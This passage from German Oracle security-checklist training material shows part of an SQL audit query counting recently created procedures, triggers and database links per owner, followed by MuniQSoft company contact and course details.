"Proc (1 Tag)", count( CASE WHEN object_type= 'PROCEDURE' AND created between sysdate-7 and sysdate-1 THEN 'x' END ) as "Proc (7 T.)", count( CASE WHEN object_type= 'TRIGGER' AND created between sysdate-1 and sysdate THEN 'x' END ) as "Trig (1 Tag)", count( CASE WHEN object_type= 'TRIGGER' AND created between sysdate-7 and sysdate-1 THEN 'x' END ) as "Trig (7 T.)", count( CASE WHEN object_type= 'DATABASE LINK' AND created between sysdate-1 and sysdate THEN 'x' END ) as "DBLinks (1 Tag)", count( CASE WHEN object_type= 'DATABASE LINK' AND created between sysdate-7 and sysdate-1 THEN 'x' END ) as "DBLinks (7 T.)" FROM dba_objects GROUP BY owner) WHERE "SYN (1 Tag)" + "SYN (7 T.)" + "PackB (1 Tag)" + "PackB (7 T.)" + "Proc (1 Tag)" + "Proc (7 T.)" + "Trig (1 Tag)" + "Trig (7 T.)" + "DBLinks (1 Tag)" + "DBLinks (7 T.)" >0; 16 Jahre MuniQSoft GmbH Tätigkeitsbereiche: Oracle Support Hotline: Mo-Fr 8.00 – 18.00 Uhr Erweiterung um Rufbereitschaft auch am Wochenende möglich Oracle IT-Consulting & Services, Schwerpunkt auch RAC Oracle Schulungen (SQL, PL/SQL, DBA, APEX, B&R, MySQL…51 verschiedene Schulungen, gerne auch Inhouse ) Software-Lösungen Oracle Lizenzen MuniQSoft GmbH Schulungszentrum Grünwalder Weg 13a 82008 Unterhaching Tel.: 089 / 679090 40 MuniQSoft GmbH MuniQSoft GmbH IT-Consulting, Support, & Software-Lösungen Witneystr. 1 82008 Unterhaching Tel.: 089 / 6228 6789 0 Kapitel 10 - Checkliste Security II 10 - 15